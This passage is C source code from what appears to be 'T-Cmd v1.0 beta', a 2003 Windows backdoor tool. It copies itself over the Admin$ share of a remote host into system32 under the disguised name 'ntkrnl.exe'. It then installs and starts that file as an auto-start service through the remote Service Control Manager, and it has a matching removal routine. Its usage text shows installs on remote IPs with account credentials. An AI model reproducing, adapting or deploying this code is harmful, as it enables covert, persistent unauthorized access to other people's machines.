554lpHostName=NULL;   
555}   
556else   
557{   
558sprintf(lpImagePath," \\\\\\\%s\\\Admin$\\\system32\\\ntkrnl.exe",lpHost );   
559lpHostName=(char *)malloc(256);   
560sprintf(lpHostName," \\\\\\\%s",lpHost );   
561} 
562
563printf("Transmitting File ... ");   
564hSearch=FindFirstFile(lpImagePath,&amp;FileData);   
565if(hSearch==INVALID_HANDLE_VALUE)   
566{   
567GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);   
568if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)   
569{   
570dwErrorCode=GetLastError();   
571if(dwErrorCode==5)   
572{   
573printf("Failure ... Access is Denied !\n");   
574}   
575else   
576{   
577printf("Failure !\n");   
578}   
579return ;   
580}   
581else   
582{   
583printf("Success !\n");   
584}   
585}   
586else   
587{   
588printf("already Exists !\n");   
589FindClose(hSearch);   
590} 
591
592schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);   
593if(schSCManager==NULL)   
594{   
595printf("Open Service Control Manager Database Failure !\n");   
596return ;   
597} 
598
599printf("Creating Service .... ");   
600schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,   
601SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,   
602SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);   
603if(schService==NULL)   
604{   
605dwErrorCode=GetLastError();   
606if(dwErrorCode!=ERROR_SERVICE_EXISTS)   
607{   
608printf("Failure !\n");   
609CloseServiceHandle(schSCManager);   
610return ;   
611}   
612else   
613{   
614printf("already Exists !\n");   
615schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);   
616if(schService==NULL)   
617{   
618printf("Opening Service .... Failure !\n");   
619CloseServiceHandle(schSCManager);   
620return ;   
621}   
622}   
623}   
624else   
625{   
626printf("Success !\n");   
627} 
628
629printf("Starting Service .... ");   
630if(StartService(schService,0,NULL)==0)   
631{   
632dwErrorCode=GetLastError();   
633if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)   
634{   
635printf("already Running !\n");   
636CloseServiceHandle(schSCManager);   
637CloseServiceHandle(schService);   
638return ;   
639}   
640}   
641else   
642{   
643printf("Pending ... ");   
644} 
645
646while(QueryServiceStatus(schService,&amp;InstallServiceStatus)!=0)   
647{   
648if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)   
649{   
650Sleep(100);   
651}   
652else   
653{   
654break;   
655}   
656}   
657if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)   
658{   
659printf("Failure !\n");   
660}   
661else   
662{   
663printf("Success !\n");   
664} 
665
666CloseServiceHandle(schSCManager);   
667CloseServiceHandle(schService);   
668return ;   
669} 
670
671void RemoveCmdService(char *lpHost)   
672{   
673SC_HANDLE schSCManager;   
674SC_HANDLE schService;   
675char lpImagePath[MAX_PATH];   
676char *lpHostName;   
677WIN32_FIND_DATA FileData;   
678SERVICE_STATUS RemoveServiceStatus;   
679HANDLE hSearch;   
680DWORD dwErrorCode; 
681
682if(lpHost==NULL)   
683{   
684GetSystemDirectory(lpImagePath,MAX_PATH);   
685strcat(lpImagePath," \\\ntkrnl.exe ");   
686lpHostName=NULL;   
687}   
688else   
689{   
690sprintf(lpImagePath," \\\\\\\%s\\\Admin$\\\system32\\\ntkrnl.exe",lpHost );   
691lpHostName=(char *)malloc(MAX_PATH);   
692sprintf(lpHostName," \\\\\\\%s",lpHost );   
693} 
694
695schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);   
696if(schSCManager==NULL)   
697{   
698printf("Opening SCM ......... ");   
699dwErrorCode=GetLastError();   
700if(dwErrorCode!=5)   
701{   
702printf("Failure !\n");   
703}   
704else   
705{   
706printf("Failuer ... Access is Denied !\n");   
707}   
708return ;   
709} 
710
711schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);   
712if(schService==NULL)   
713{   
714printf("Opening Service ..... ");   
715dwErrorCode=GetLastError();   
716if(dwErrorCode==1060)   
717{   
718printf("no Exists !\n");   
719}   
720else   
721{   
722printf("Failure !\n");   
723}   
724CloseServiceHandle(schSCManager);   
725}   
726else   
727{   
728printf("Stopping Service .... ");   
729if(QueryServiceStatus(schService,&amp;RemoveServiceStatus)!=0)   
730{   
731if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)   
732{   
733printf("already Stopped !\n");   
734}   
735else   
736{   
737printf("Pending ... ");   
738if(ControlService(schService,SERVICE_CONTROL_STOP,&amp;RemoveServiceStatus)!=0)   
739{   
740while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)   
741{   
742Sleep(10);   
743QueryServiceStatus(schService,&amp;RemoveServiceStatus);   
744}   
745if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)   
746{   
747printf("Success !\n");   
748}   
749else   
750{   
751printf("Failure !\n");   
752}   
753}   
754else   
755{   
756printf("Failure !\n");   
757}   
758}   
759}   
760else   
761{   
762printf("Query Failure !\n");   
763} 
764
765printf("Removing Service .... ");   
766if(DeleteService(schService)==0)   
767{   
768printf("Failure !\n");   
769}   
770else   
771{   
772printf("Success !\n");   
773}   
774} 
775
776CloseServiceHandle(schSCManager);   
777CloseServiceHandle(schService); 
778
779printf("Removing File ....... ");   
780Sleep(1500);   
781hSearch=FindFirstFile(lpImagePath,&amp;FileData);   
782if(hSearch==INVALID_HANDLE_VALUE)   
783{   
784printf("no Exists !\n");   
785}   
786else   
787{   
788if(DeleteFile(lpImagePath)==0)   
789{   
790printf("Failure !\n");   
791}   
792else   
793{   
794printf("Success !\n");   
795}   
796FindClose(hSearch);   
797} 
798
799return ;   
800} 
801
802void Start()   
803{   
804printf("\n");   
805printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");   
806printf("\t\t---[ E-mail: [email protected] ]---\n");   
807printf("\t\t---[ HomePage: www.safechina.net ]---\n");   
808printf("\t\t---[ Date: 02-05-2003 ]---\n\n");   
809return ;   
810} 
811
812void Usage()   
813{   
814printf("Attention:\n");   
815printf(" Be careful with this software, Good luck !\n\n");   
816printf("Usage Show:\n");   
817printf(" T-Cmd -Help\n");   
818printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");   
819printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");   
820printf("Example:\n");   
821printf(" T-Cmd -Install (Install in the localhost)\n");   
822printf(" T-Cmd -Remove (Remove in the localhost)\n");   
823printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");   
824printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");   
825printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");   
826return ;   
827}</stdio.h></windows.h></server></option2></option1></server>